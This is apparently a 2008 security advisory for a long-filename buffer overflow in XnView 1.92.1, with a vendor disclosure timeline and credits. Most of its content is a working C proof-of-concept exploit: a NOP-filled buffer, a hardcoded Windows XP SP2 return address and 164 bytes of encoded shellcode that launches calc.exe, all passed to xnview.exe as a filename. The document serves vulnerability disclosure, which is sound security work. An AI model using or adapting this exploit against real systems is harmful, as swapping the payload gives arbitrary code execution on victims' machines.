xnview-overflow.txt

`--------  
*XNview*  
--------  
  
Informations :  
**************   
Version : 1.92.1  
Website : http://www.xnview.com/  
Problem : Long Filename Overflow  
  
  
Description:  
************  
XnView is an efficient multimedia viewer, browser, and converter. It supports more than 400 graphic file formats (PNG, JPEG, TARGA, TIFF, GIF, BMP, and   
  
more).  
  
Details :  
*********  
The problem is that XNview doesn't handle long file names.It result in an exploitable buffer overflow which allow execution of arbitrary code.  
  
POC:  
****  
#include <windows.h>  
#include <unistd.h>   
  
/*  
Shellcode  
Size=164 octets  
Action: open calc.exe  
*/  
unsigned char shellcode[] =  
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16"  
"\x77\x0b\x94\x83\xeb\xfc\xe2\xf4\xea\x9f\x4f\x94\x16\x77\x80\xd1"  
"\x2a\xfc\x77\x91\x6e\x76\xe4\x1f\x59\x6f\x80\xcb\x36\x76\xe0\xdd"  
"\x9d\x43\x80\x95\xf8\x46\xcb\x0d\xba\xf3\xcb\xe0\x11\xb6\xc1\x99"  
"\x17\xb5\xe0\x60\x2d\x23\x2f\x90\x63\x92\x80\xcb\x32\x76\xe0\xf2"  
"\x9d\x7b\x40\x1f\x49\x6b\x0a\x7f\x9d\x6b\x80\x95\xfd\xfe\x57\xb0"  
"\x12\xb4\x3a\x54\x72\xfc\x4b\xa4\x93\xb7\x73\x98\x9d\x37\x07\x1f"  
"\x66\x6b\xa6\x1f\x7e\x7f\xe0\x9d\x9d\xf7\xbb\x94\x16\x77\x80\xfc"  
"\x2a\x28\x3a\x62\x76\x21\x82\x6c\x95\xb7\x70\xc4\x7e\x87\x81\x90"  
"\x49\x1f\x93\x6a\x9c\x79\x5c\x6b\xf1\x14\x6a\xf8\x75\x59\x6e\xec"  
"\x73\x77\x0b\x94";  
  
/*  
user32.dll ret adress ==> jmp ebp  
under Win XP pro SP2  
*/  
unsigned char ret[] ="\x34\x59\x40\x7e";  
  
  
int main(int argc,char *argv[]){  
char *bufExe[3];  
char buf[511];  
bufExe[0] = "xnview.exe";  
bufExe[2] = NULL;  
memset(buf,0x90,511);  
memcpy(&buf[260],ret,4);   
memcpy(&buf[330],shellcode,sizeof(shellcode));   
bufExe[1] = buf;  
  
execve(bufExe[0],bufExe,NULL);  
return 0x0;  
}  
  
Disclosure Timeline:  
********************  
04 February 2008 - Discovery  
12 February 2008 - Vendor notification  
13 February 2008 - Vendor reply  
14 March 2008 - Release of XNview 1.93.1  
15 March 2008 - Public Disclosure  
  
Credits:  
********  
Author : Sylvain THUAL  
Original advisory(French) : http://www.click-internet.fr/index.php?cki=News&news=9   
E-mail : [email protected]  
Website : http://www.click-internet.fr  
  
`